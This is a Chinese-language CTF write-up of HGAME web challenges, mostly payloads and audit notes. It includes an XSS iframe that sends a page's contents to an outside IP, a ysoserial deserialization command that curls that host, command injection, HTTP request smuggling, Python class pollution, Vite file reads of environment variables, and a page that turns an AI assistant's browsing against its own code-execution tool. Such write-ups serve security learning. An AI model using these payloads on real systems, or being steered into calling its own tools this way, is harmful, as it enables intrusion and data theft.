魔理沙的魔法目录
我以为那个time是累计时长,结果好像是单次时长,最大两位数。眼疾手快发个几十次就好了。
curl 'http://cloud-big.hgame.vidar.club:30850/record' \-X 'POST' \-H 'Accept: */*' \-H 'Content-Type: application/json' \-H 'Origin: http://cloud-big.hgame.vidar.club:30850' \-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.1 Safari/605.1.15' \-H 'Authorization: d3d55ff5-eb56-4249-b945-e6559142ce90' \-H 'Referer: http://cloud-big.hgame.vidar.club:30850/' \-H 'Content-Length: 11' \-H 'Accept-Language: zh-CN,zh-Hans;q=0.9' \-H 'Accept-Encoding: gzip, deflate' \-H 'Connection: keep-alive' \-H 'Priority: u=3, i' \--data-raw '{"time":10}'
My Little Assistant
Woore最近在折腾一个“智能助手”,
它看起来很贴心:
能帮你分析网页
能访问外部资源
甚至还能“执行一些小工具”
但在信任这位小助手之前, 你或许该想想:
它到底是在理解你的需求, 还是在服从看到的一切?这题好玩。
py_eval这个mcp被ban了,ai使用不了,只能使用py_request,但是这个mcp只支持get,无法使用它来直接ssrf请求mcp的py_eval。考虑xss,chrome刚好禁用了跨域限制。

<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Flag</title></head><body> <div id="result">Waiting...</div>
<script> // 1. 更加精简的 Python Payload // 不需要 import os,直接读取即可,确保 local_vars 只有 result const pyCode = "result = open('/flag').read()";
const payload = { "jsonrpc": "2.0", "id": 1, "params": { "name": "py_eval", "arguments": { "code": pyCode } } };
fetch('http://127.0.0.1:8001/mcp', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(payload) }) .then(res => res.json()) .then(data => { // 2. JS 数据清洗 // data 结构是: {jsonrpc:..., result: { content: [{text: "string_of_local_vars"}] } } // 我们直接提取最深层的 text,扔掉外面的包装 try { let innerText = data.result.content[0].text; document.getElementById('result').innerText = innerText; } catch (e) { document.getElementById('result').innerText = JSON.stringify(data); } }); </script></body></html>
MyMonitor
刚开始审计,尝试了一下jwt,但不是。

ai真好使啊((。bot执行ls命令的时候没有args,导致普通用户发送的args进入的bot那条指令里,造成了命令拼接。以下是 AI 分析,只能说勉勉强强知道在说啥吧💦
核心漏洞在于 attachment/handler.go 中对 sync.Pool 的不当使用,导致了对象池污染(Object Pool Pollution),结合后台可能存在的 Admin Bot,可以实现远程代码执行(RCE)获取 Flag。
- 漏洞分析 漏洞位于 attachment/handler.go 的 UserCmd 函数中:
func UserCmd(c *gin.Context) { monitor := MonitorPool.Get().(*MonitorStruct) // 1. 从池中获取对象 defer MonitorPool.Put(monitor) // 2. 函数结束时放回池中 if err := c.ShouldBindJSON(monitor); err != nil { // 3. 绑定 JSON fmt.Println(monitor) c.JSON(400, gin.H{"error": err.Error()}) return // 4. 如果出错,直接返回 } fmt.Println(monitor) defer monitor.reset() // 5. 重置对象字段(注意位置!) // ...}问题点: Go 的 sync.Pool 会复用对象。当一个对象被放回池中时,它保留了之前的状态,除非显式重置。 在 UserCmd 中,defer monitor.reset() 语句位于 ShouldBindJSON 错误检查的下方。 如果 ShouldBindJSON 返回错误(例如 JSON 格式正确但缺少 binding:“required” 的字段),函数会执行 return。 此时,defer MonitorPool.Put(monitor) 会执行(因为它在上方定义了),将对象放回池中。 但是,defer monitor.reset() 不会执行。 这就导致一个“脏”的 monitor 对象被放回了池中。这个对象可能包含了解析了一半的数据。 MonitorStruct 定义如下:
type MonitorStruct struct { Cmd string `json:"cmd" binding:"required"` Args string `json:"args"`}如果我们发送一个 JSON:{“args”: ”; cat /flag > /app/templates/login.html”},但不包含 cmd 字段: ShouldBindJSON 会先解析 JSON,将 Args 字段赋值进 monitor 对象。 然后进行校验,发现缺少 required 的 cmd 字段,返回错误。 UserCmd 提前返回,跳过了 monitor.reset()。 带有恶意 Args 的对象被放回 MonitorPool。
- 攻击路径 攻击需要结合 AdminCmd 函数。我们假设题目环境中有一个 Admin Bot 会定期调用 /api/admin/cmd 接口。
func AdminCmd(c *gin.Context) { monitor := MonitorPool.Get().(*MonitorStruct) // 获取可能被污染的对象 defer MonitorPool.Put(monitor) if err := c.ShouldBindJSON(monitor); err != nil { // ... } // ... fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args) // 拼接命令 output, err := exec.Command("bash", "-c", fullCommand).CombinedOutput() // 执行 // ...}如果 Admin Bot 发送的请求只包含 cmd(例如 {“cmd”: “ls”}),而不包含 args,json.Unmarshal 只会更新 JSON 中存在的字段。因此,MonitorStruct 中的 Args 字段将保留我们在 UserCmd 中污染的值。
最终执行的命令变为:ls ; cat /flag > /app/templates/login.html。

博丽神社的绘马挂
灵梦为了增加参拜人数,在神社设立了绘马挂,人们可以在这里许愿🙏
但是灵梦在整理这些绘马的时候不太用心,出现了一些问题...而且她没有发现紫在归档完毕的绘马里藏了一些不可告人的秘密
(Flag格式为 Hgame{example_flag})弱密码,admin/admin123
有个 呼叫灵梦 按钮,感觉是考xss啊。
fuzz一下,挂一个
{{7*7}}<script><alert>gg</alert></script><alert>bb</alert>诶,只显示 {{7*7}} bb 了,那说明确实是xss
本来是想先看一下灵梦的用户名是什么,读一下他的html,结果flag直接出来了…Payload如下:
<iframe src="archives.html" style="display:none" onload="setTimeout(()=>{ var secret = this.contentWindow.document.body.innerText; fetch('http://120.26.146.96:3306/?flag=' + btoa(encodeURIComponent(secret)));}, 2000)"></iframe>
The_Secret_Is: Hgame{tHE-secr3T_0F-haKUR31_JlNJ41a535673}
Vidarshop
➜ c-jwt-cracker git:(master) ✗ ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbVx1MDEzMW4iLCJyb2xlIjoidXNlciIsImV4cCI6MTc3MDAxODczOH0.5akQz2Bq9KLrsBTGJBsNHfRewF5vUbX_TYI-yIxoY4YSecret is "111"
爆破得到 jwt 的 secretKey 是 111,不过其实没有用,因为权限判定只依赖 uid,与 username 无关。不过可以伪造 admin:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxODcwMDE4NzM4fQ.8mwUaZZr7hG0B-vSmZD8vTJ1SwqaCrpUrynjaHJk-Eo
尝试爆破uid,呃…
没招了,乱注册,发现 a、1 的 uid 都是 1,注意到:
1413914a -> 1d -> 4m -> 13i -> 9n -> 14所以 admin 的 uid 是 1413914。哪个大聪明想出来的???

尝试修改余额:
await apiRequest('/api/update', 'POST', { "balance": 100000, "role": "user", "username": "chao"});发现没用。
有提示:update接口直接改的好像是User类的balance属性欸,但是User属性中balance似乎并非。。。该怎么修改balance呢
不对啊,原型链污染也改不了啊。。。原来是Flask,没注意到。
await apiRequest('/api/update', 'POST', { "__class__": { "__init__": { "__globals__": { "role": "admin", "balance": 100000000 } } }, "username": "1dmin"});

[Crypto] Classic
人工队输了

《文文。新闻》
信息收集
http://1.116.118.188:30211/@fs/app/frontend/src/App.jsx
http://1.116.118.188:30211/@fs/app/frontend/src/main.jsx
http://1.116.118.188:30211/@fs/app/frontend/src/utils/request.jsimport axios from "/node_modules/.vite/deps/axios.js?v=22a178ca";
const request = axios.create({ timeout: 5000});
request.interceptors.request.use(config => { const token = localStorage.getItem('token'); if (token) { config.headers['Authorization'] = token; } return config;}, error => { return Promise.reject(error);});
request.interceptors.response.use(response => { return response.data;}, error => { if (error.response) { alert(error.response.data.error || 'Request Failed'); } return Promise.reject(error);});
export default request;// http://1.116.118.188:30211/@fs/app/frontend/vite.config.jsimport { defineConfig } from 'vite'import react from '@vitejs/plugin-react'
// https://vitejs.dev/config/export default defineConfig({ plugins: [react()], server: { host: '0.0.0.0', port: 5173, allowedHosts: true, }})// http://1.116.118.188:30211/@fs/app/frontend/proxy.jsimport http from 'http';import httpProxy from 'http-proxy';
const RUST_TARGET = 'http://127.0.0.1:3000';const VITE_TARGET = 'http://127.0.0.1:5173';
const proxy = httpProxy.createProxyServer({ agent: new http.Agent({ keepAlive: true, maxSockets: 100, keepAliveMsecs: 10000 }), xfwd: true,});
proxy.on('error', (err, req, res) => { console.error('[Proxy Error]', err.message); if (res && !res.headersSent) { try { res.writeHead(502); res.end('Bad Gateway'); } catch(e){} }});
const server = http.createServer((req, res) => { if (req.url.startsWith('/api/')) { proxy.web(req, res, { target: RUST_TARGET }); } else { proxy.web(req, res, { target: VITE_TARGET }); }});
console.log(\"馃敟 Node.js Dumb Proxy running on port 80\");server.listen(80);// http://1.116.118.188:30211/@fs/app/frontend/package.json{ "name": "bunbunmaru-frontend", "private": true, "version": "0.0.0", "type": "module", "scripts": { "dev": "vite", "build": "vite build", "lint": "eslint .", "preview": "vite preview", "start-proxy": "node proxy.js" }, "dependencies": { "axios": "^1.6.0", "react": "^18.2.0", "react-dom": "^18.2.0", "react-router-dom": "^6.20.0", "http-proxy": "^1.18.1" }, "devDependencies": { "@types/react": "^18.2.0", "@types/react-dom": "^18.2.0", "@vitejs/plugin-react": "^4.2.0", "eslint": "^8.50.0", "vite": "6.2.0" }}至此,了解到靶机内部网络结构。有前端(vite,5173)、后端(rust,3000)、代理(node.js,80)。proxy用来实现前端到后端的代理。注意到"vite": "6.2.0"存在CVE-2025-30208,可以任意文件读取(eg. /@fs/etc/passwd?import&raw??)。进一步探索:
// http://1.116.118.188:30211/@fs/proc/self/environ?import&raw??
export default "KUBERNETES_SERVICE_PORT=443\u0000KUBERNETES_PORT=tcp://10.43.0.1:443\u0000npm_config_user_agent=npm/10.8.2 node/v18.20.8 linux x64 workspaces/false\u0000NODE_VERSION=18.20.8\u0000SUPERVISOR_GROUP_NAME=vite-frontend\u0000HOSTNAME=ret2shell-212-3058-1770605791\u0000YARN_VERSION=1.22.22\u0000npm_node_execpath=/usr/local/bin/node\u0000npm_config_noproxy=\u0000HOME=/root\u0000npm_package_json=/app/frontend/package.json\u0000LC_CTYPE=C.UTF-8\u0000npm_config_userconfig=/root/.npmrc\u0000npm_config_local_prefix=/app/frontend\u0000COLOR=0\u0000npm_config_prefix=/usr/local\u0000npm_config_npm_version=10.8.2\u0000npm_config_cache=/root/.npm\u0000KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1\u0000npm_config_node_gyp=/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js\u0000PATH=/app/frontend/node_modules/.bin:/app/node_modules/.bin:/node_modules/.bin:/usr/local/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin:/app/frontend:/app/backend:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE=/usr/local/bin/node\u0000npm_package_name=bunbunmaru-frontend\u0000KUBERNETES_PORT_443_TCP_PORT=443\u0000KUBERNETES_PORT_443_TCP_PROTO=tcp\u0000SUPERVISOR_ENABLED=1\u0000npm_lifecycle_script=vite\u0000npm_package_version=0.0.0\u0000npm_lifecycle_event=dev\u0000KUBERNETES_SERVICE_PORT_HTTPS=443\u0000KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443\u0000SUPERVISOR_PROCESS_NAME=vite-frontend\u0000npm_config_globalconfig=/usr/local/etc/npmrc\u0000npm_config_init_module=/root/.npm-init.js\u0000KUBERNETES_SERVICE_HOST=10.43.0.1\u0000PWD=/app/frontend\u0000npm_execpath=/usr/local/lib/node_modules/npm/bin/npm-cli.js\u0000npm_config_global_prefix=/usr/local\u0000npm_command=run-script\u0000INIT_CWD=/app/frontend\u0000EDITOR=vi\u0000"// http://1.116.118.188:30211/@fs/app/src/handlers.rs?import&raw??use crate::http_parser::Request;use std::sync::Mutex;use std::collections::HashMap;use serde::{Deserialize, Serialize};use lazy_static::lazy_static;use uuid::Uuid;
lazy_static! { static ref USERS: Mutex<HashMap<String, UserRecord>> = Mutex::new(HashMap::new());
static ref COMMENTS: Mutex<Vec<CommentData>> = Mutex::new(Vec::new());}
#[derive(Deserialize)]struct AuthRequest { username: String, password: String,}
#[derive(Clone)]struct UserRecord { password: String, token: String,}
#[derive(Serialize, Deserialize, Clone)]struct CommentData { username: String, content: String,}
fn make_resp(status: &str, body: &str) -> String { format!( "HTTP/1.1 {}\r\nContent-Type: application/json\r\nContent-Length: {}\r\n\r\n{}", status, body.len(), body )}
fn resp_ok(msg: &str) -> String { make_resp("200 OK", msg)}
pub fn resp_err(status: &str, msg: &str) -> String { make_resp(status, &format!(r#"{{"error": "{}"}}"#, msg))}
pub fn handle_register(req: &Request) -> String { if req.method != "POST" { return resp_err("405 Method Not Allowed", "Only POST"); }
let content_type = req.headers.get("content-type").map(|s| s.as_str()).unwrap_or(""); let form: AuthRequest = if content_type.contains("application/json") { match req.parse_json() { Ok(d) => d, Err(_) => return resp_err("400 Bad Request", "Invalid JSON format"), } } else if content_type.contains("application/x-www-form-urlencoded") { let map = req.parse_form();
let username = map.get("username").cloned().unwrap_or_default(); let password = map.get("password").cloned().unwrap_or_default();
if username.is_empty() || password.is_empty() { return resp_err("400 Bad Request", "Missing username or password"); }
AuthRequest { username, password } } else { return resp_err("415 Unsupported Media Type", "Content-Type must be json or form"); };
let mut db = USERS.lock().unwrap(); if db.contains_key(&form.username) { return resp_err("409 Conflict", "User already exists"); } let new_token = Uuid::new_v4().to_string(); db.insert( form.username.clone(), UserRecord { password: form.password, token: new_token.clone(), }, ); println!("User registered: {} with token: {}", form.username, new_token);
resp_ok(&format!( r#"{{"status": "registered", "token": "{}"}}"#, new_token ))}
pub fn handle_login(req: &Request) -> String { if req.method != "POST" { return resp_err("405 Method Not Allowed", "Only POST"); }
let content_type = req.headers.get("content-type").map(|s| s.as_str()).unwrap_or(""); let form: AuthRequest = if content_type.contains("application/json") { match req.parse_json() { Ok(d) => d, Err(_) => return resp_err("400 Bad Request", "Invalid JSON format"), } } else if content_type.contains("application/x-www-form-urlencoded") { let map = req.parse_form();
let username = map.get("username").cloned().unwrap_or_default(); let password = map.get("password").cloned().unwrap_or_default();
if username.is_empty() || password.is_empty() { return resp_err("400 Bad Request", "Missing username or password"); }
AuthRequest { username, password } } else { return resp_err("415 Unsupported Media Type", "Content-Type must be json or form"); };
let db = USERS.lock().unwrap();
if let Some(record) = db.get(&form.username) { if record.password == form.password { return resp_ok(&format!( r#"{{"status": "success", "token": "{}"}}"#, record.token )); } }
resp_err("401 Unauthorized", "Invalid credentials")}
pub fn handle_comment(req: &Request) -> String { let auth_header = req.headers.get("authorization").map(|v| v.as_str()); if auth_header.is_none() { return resp_err("401 Unauthorized", "Missing Authorization header"); } let input_token = auth_header.unwrap(); let mut current_user = String::new(); { let db = USERS.lock().unwrap(); for (username, record) in db.iter() { if record.token == input_token { current_user = username.clone(); break; } } }
if current_user.is_empty() { return resp_err("403 Forbidden", "Invalid Token"); }
match req.method.as_str() { "GET" => { let db = COMMENTS.lock().unwrap(); let json = serde_json::to_string(&*db).unwrap_or("[]".to_string()); resp_ok(&json) }
"POST" => { #[derive(Deserialize)] struct NewComment { content: String, }
let content_type = req.headers.get("content-type").map(|s| s.as_str()).unwrap_or(""); let new_comment: NewComment = if content_type.contains("application/json") { match req.parse_json() { Ok(p) => p, Err(_) => return resp_err("400 Bad Request", "Invalid JSON"), } } else if content_type.contains("application/x-www-form-urlencoded") { let map = req.parse_form();
let content = map.get("content").cloned().unwrap_or_default();
if content.is_empty() { return resp_err("400 Bad Request", "Missing content"); }
NewComment { content } } else { return resp_err("415 Unsupported Media Type", "Content-Type must be json or form"); };
let mut comments = COMMENTS.lock().unwrap();
println!("[HANDLER] Saving comment: {:?}", new_comment.content);
comments.push(CommentData { username: current_user, content: new_comment.content, });
resp_ok(r#"{"status": "comment added"}"#) } _ => resp_err("405 Method Not Allowed", "Method not supported"), }}
pub fn resp_not_found() -> String { resp_err("404 Not Found", "Resource not found")}// http://1.116.118.188:30211/@fs/app/src/main.rs?import&raw??mod http_parser;mod handlers;
use bytes::{Buf, BytesMut};use http_parser::ParseResult;use tokio::io::{AsyncReadExt, AsyncWriteExt};use tokio::net::{TcpListener, TcpStream};
#[tokio::main]async fn main() -> Result<(), Box<dyn std::error::Error>> { let listener = TcpListener::bind("0.0.0.0:3000").await?; println!("server running on 127.0.0.1:3000");
loop { let (socket, _) = listener.accept().await?;
tokio::spawn(async move { if let Err(e) = process_connection(socket).await { eprintln!("Connection error: {}", e); } }); }}
async fn process_connection(mut socket: TcpStream) -> Result<(), Box<dyn std::error::Error>> { let mut buffer = BytesMut::with_capacity(4096);
loop { let n = socket.read_buf(&mut buffer).await?;
if n == 0 { if buffer.is_empty() { return Ok(()); } else { eprintln!( "Connection closed with {} bytes remaining (garbage)", buffer.len() ); return Ok(()); } }
loop { match http_parser::parse_packet(&mut buffer) { ParseResult::Complete(req, consumed_len) => { println!("Parsed request: {} {}", req.method, req.route); let response = router(&req); socket.write_all(response.as_bytes()).await?; buffer.advance(consumed_len); }
ParseResult::Partial => { break; }
ParseResult::Invalid(skip_len) => { println!("Warning: Skipping {} bytes of garbage data...", skip_len); buffer.advance(skip_len);
if buffer.is_empty() { break; } } } } }}
fn router(req: &http_parser::Request) -> String { if req.version != "HTTP/1.1" { return handlers::resp_err( "400 Bad Request", "Wrong HTTP Version. Only HTTP/1.1 is supported.", ); }
if !req.queries.is_empty() { println!(" -> Query params: {:?}", req.queries); }
match req.route.as_str() { "/api/register" => handlers::handle_register(req), "/api/login" => handlers::handle_login(req), "/api/comment" => handlers::handle_comment(req), _ => handlers::resp_not_found(), }}// http://1.116.118.188:30211/@fs/app/src/http_parser.rs?import&raw??use bytes::BytesMut;use serde::Deserialize;use std::{collections::HashMap, str};
#[derive(Debug)]pub struct Request { pub method: String, pub route: String, pub queries: HashMap<String, String>, pub version: String, pub headers: HashMap<String, String>, pub body: String,}
pub enum ParseResult { Complete(Request, usize), Partial, Invalid(usize),}
impl Request { pub fn parse_form(&self) -> HashMap<String, String> { let mut map = HashMap::new(); for pair in self.body.split('&') { if let Some((k, v)) = pair.split_once('=') { if !k.is_empty() { map.insert(k.to_string(), v.to_string()); } } else if !pair.is_empty() { map.insert(pair.to_string(), "".to_string()); } } map }
pub fn parse_json<T: for<'a> Deserialize<'a>>(&self) -> Result<T, serde_json::Error> { serde_json::from_str(&self.body) }}
pub fn parse_packet(buffer: &mut BytesMut) -> ParseResult { let req_line_end = match buffer.windows(2).position(|w| w == b"\r\n") { Some(pos) => pos, None => return ParseResult::Partial, };
let req_line_len = req_line_end + 2;
let raw_req_line = match str::from_utf8(&buffer[..req_line_end]) { Ok(s) => s, Err(_) => return ParseResult::Invalid(req_line_len), };
let (method, route, queries, version) = match parse_reqline(raw_req_line) { Some(res) => res, None => return ParseResult::Invalid(req_line_len), };
let header_end = match buffer.windows(4).position(|w| w == b"\r\n\r\n") { Some(pos) => pos, None => return ParseResult::Partial, };
let raw_headers = match str::from_utf8(&buffer[req_line_len..header_end]) { Ok(s) => s, Err(_) => return ParseResult::Invalid(header_end + 4), }; let headers = parse_headers(raw_headers);
let body_length: usize = headers .get("content-length") .and_then(|v| v.parse().ok()) .unwrap_or(0);
let total_len = header_end + 4 + body_length; if buffer.len() < total_len { return ParseResult::Partial; }
let body_start = header_end + 4; let body_end = body_start + body_length; let body = str::from_utf8(&buffer[body_start..body_end]) .unwrap_or("") .to_string();
ParseResult::Complete( Request { method, route, queries, version, headers, body, }, total_len, )}
fn parse_headers(raw_headers: &str) -> HashMap<String, String> { let lines = raw_headers.lines(); let mut headers: HashMap<String, String> = HashMap::new(); for line in lines { if let Some((k, v)) = line.split_once(":") { if !k.is_empty() { headers.insert(k.trim().to_lowercase(), v.trim().to_string()); } } } headers}
fn parse_reqline(raw_req_line: &str) -> Option<(String, String, HashMap<String, String>, String)> { let mut raw_req_parts = raw_req_line.split_whitespace(); let method = raw_req_parts.next()?.to_string(); let raw_uri = raw_req_parts.next()?; let (path, queries) = parse_uri(raw_uri); let version = raw_req_parts.next()?.to_string(); Some((method, path, queries, version))}
fn parse_uri(raw_uri: &str) -> (String, HashMap<String, String>) { let (path, raw_query) = match raw_uri.split_once("?") { Some((p, q)) => (p, q), None => (raw_uri, ""), };
let mut queries: HashMap<String, String> = HashMap::new();
if !raw_query.is_empty() { for query in raw_query.split("&") { if query.is_empty() { continue; }
let (k, v) = match query.split_once("=") { Some((k, v)) => (k, v), None => (query, ""), };
if !k.is_empty() { queries.insert(k.to_string(), v.to_string()); } } } (path.to_string(), queries)}# http://1.116.118.188:30211/@fs/etc/supervisor/conf.d/supervisord.conf?import&raw??[supervisord]nodaemon=trueuser=root
[program:rust-backend]directory=/appcommand=/app/backend_serveruser=ctfautostart=trueautorestart=truestdout_logfile=/dev/stdoutstdout_logfile_maxbytes=0stderr_logfile=/dev/stderrstderr_logfile_maxbytes=0
[program:vite-frontend]directory=/app/frontendcommand=npm run dev -- --host 0.0.0.0 --port 5173user=ctfautostart=trueautorestart=truestdout_logfile=/dev/stdoutstdout_logfile_maxbytes=0stderr_logfile=/dev/stderrstderr_logfile_maxbytes=0
[program:node-proxy]directory=/app/frontendcommand=node proxy.jsuser=rootautostart=trueautorestart=truestdout_logfile=/dev/stdoutstdout_logfile_maxbytes=0stderr_logfile=/dev/stderrstderr_logfile_maxbytes=0Fuzz
观察到,当注册一个用户时,新闻稿会新增几条。但是前后端源码都没有新增新闻的逻辑,那么很可能有一个bot在轮询。
审计
已经拿到后端源码,开始审计。Rust的语法真的不诗人阅读,不过看到http_parser.rs,怎么都会想想,“诶这个东西居然要自己造轮子吗?“。那么联系到http解析相关考点,大概率是请求走私吧。结合前面的信息收集,数据流是这样的:(App => proxy => backend),
直接来看Payload:
POST /api/login HTTP/1.1Host: 127.0.0.1Content-Type: application/jsonTransfer-Encoding: chunkedConnection: keep-alive
<chunk_size>POST /api/comment HTTP/1.1Host: 127.0.0.1Authorization: <Token>Content-Type: application/x-www-form-urlencodedContent-Length: 350
content=0这里的Transfer-Encoding: chunked可以通过proxy,让proxy认为请求完整,此时会原封不动发给backend(其实export了backend的端口,直接发给backend也行?🤔)。
Rust解析到POST /api/login时,由于没有Content-Length,此时就不满足buffer.len() < total_len,认为Body为空。这时候解析空的JSON就会报错,返回400 Bad Request。但是此时缓冲区里还剩下<chunk_size>\r\nPOST /api/comment...,Rust会把它当成新的 HTTP 请求来解析。
遇到<chunk_size>这种不符合METHOD URI VERSION格式的字符串,触发了 ParseResult::Invalid
ParseResult::Invalid(skip_len) => { println!("Warning: Skipping {} bytes of garbage data...", skip_len); buffer.advance(skip_len);
if buffer.is_empty() { break; }}直接被buffer.advance(skip_len);丢弃了,刚好剩下一个完整的POST请求的模板。
接着来看内层,构造发送新闻的请求,这里伪造Content-Length,后端也没有做进一步检测
POST /api/comment HTTP/1.1Host: 127.0.0.1Authorization: <Token>Content-Type: application/x-www-form-urlencodedContent-Length: 350
content=来看源码:
ParseResult::Partial => { break;}此时Rust返回ParseResult::Partial,跳出解析循环。然后这个Keep-Alive的TCP就挂起了,剩下的342个字节就会拼接上去。因为外层请求已经400,Node.js Proxy认为刚才的会话结束了,于是把这条污染的TCP连接放回了空闲连接池。当下一次bot发送新闻时,Node.js刚好把这的连接分配给bot。然后bot的POST /api/comment HTTP/1.1\r\nAuthorization: xxxxx就拼接到content=后面,进入了新闻数据库。
不过这个Content-Length需要多调几次,如果太大,拼接上bot的请求后依然不足长度,那么这条请求就会被丢弃;如果太短,获取不到有效信息。
最后获取到bot的post请求,flag刚好也在这里:

POST /api/comment HTTP/1.1x-forwarded-host: localhostx-forwarded-proto: httpx-forwarded-port: 80x-forwarded-for: ::1content-type: application/jsoncontent-length: 208flag: hgame{TH15-l5-4_d4lLy-N3W5137d6111ef}authorization: 9845391c-af5a-4373-90e4-d57e7ebc1704connection: keep-aliveaccept: application/jsonaccept-encoding: gzip, deflateuser-agent: Bunbunmaru-OffezCC
下载附件获得ezCC.war,拖进jadx看一下WEB-INF/web.xml
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency>进一步发现commons-collections是3.2.1版本。
妈的Oracle下载jdk还要注册账号,找到了存档站,以备不时之需:https://d10.injdk.cn/openjdk/oraclejdk/8/
首先尝试ysoserial-all打cc3(我不造啊,ai说这个链出的题目多):
java -jar ysoserial-all.jar CommonsCollections3 "curl http://120.26.146.96:3306" | base64 | pbcopy然后把修改cookie为userInfo={复制的东西},但是没收到啊,可能是jdk版本比较高,已经修了:
java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:81) com.sun.proxy.$Proxy4.entrySet(Unknown Source) sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:452) sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) java.lang.reflect.Method.invoke(Method.java:498) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) Hgame.ezCC.Tool.deserialize(Tool.java:9) Hgame.ezCC.myServlet.showWelcomePage(myServlet.java:74) Hgame.ezCC.myServlet.doGet(myServlet.java:19) javax.servlet.http.HttpServlet.service(HttpServlet.java:529) javax.servlet.http.HttpServlet.service(HttpServlet.java:623) org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)确实不太熟悉,丢给ai分析一下。总结来说是JDK版本>8u71已经修了。
“CC3 链是以 AnnotationInvocationHandler 为入口的。在低版本 JDK 中,AnnotationInvocationHandler 的 readObject 会无脑信任并操作 Map。但在高版本 JDK(8u71及以后)中,Oracle 修复了这个类。它现在会检查:这个 Map 里的 Key 是否真的是那个 Annotation(这里是 @Override)里的成员方法。报错说 @Override 里找不到 entrySet,说明反序列化执行到了这一步,被 JDK 的修复逻辑给拦住了。”
尝试CC6,又报错:
java.io.InvalidClassException: Forbidden class; org.apache.commons.collections.functors.InvokerTransformer Hgame.ezCC.BlacklistObjectInputStream.resolveClass(BlacklistObjectInputStream.java:19) java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1988) java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1852) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2186) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) java.io.ObjectInputStream.readArray(ObjectInputStream.java:2119) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1657) java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2431) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2355) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2431) java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:633) org.apache.commons.collections.map.LazyMap.readObject(LazyMap.java:150) sun.reflect.GeneratedMethodAccessor22.invoke(Unknown Source) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) java.lang.reflect.Method.invoke(Method.java:498) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2431) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2355) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) java.util.HashSet.readObject(HashSet.java:342) sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) java.lang.reflect.Method.invoke(Method.java:498) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) Hgame.ezCC.Tool.deserialize(Tool.java:9) Hgame.ezCC.myServlet.showWelcomePage(myServlet.java:74) Hgame.ezCC.myServlet.doGet(myServlet.java:19) javax.servlet.http.HttpServlet.service(HttpServlet.java:529) javax.servlet.http.HttpServlet.service(HttpServlet.java:623) org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)
这时候才想起来刚刚反编译有个blacklist的class:
package Hgame.ezCC;
import java.io.IOException;import java.io.InputStream;import java.io.InvalidClassException;import java.io.ObjectInputStream;import java.io.ObjectStreamClass;
/* loaded from: ezcc.war:WEB-INF/classes/Hgame/ezCC/BlacklistObjectInputStream.class */public class BlacklistObjectInputStream extends ObjectInputStream { public BlacklistObjectInputStream(InputStream in) throws IOException { super(in); }
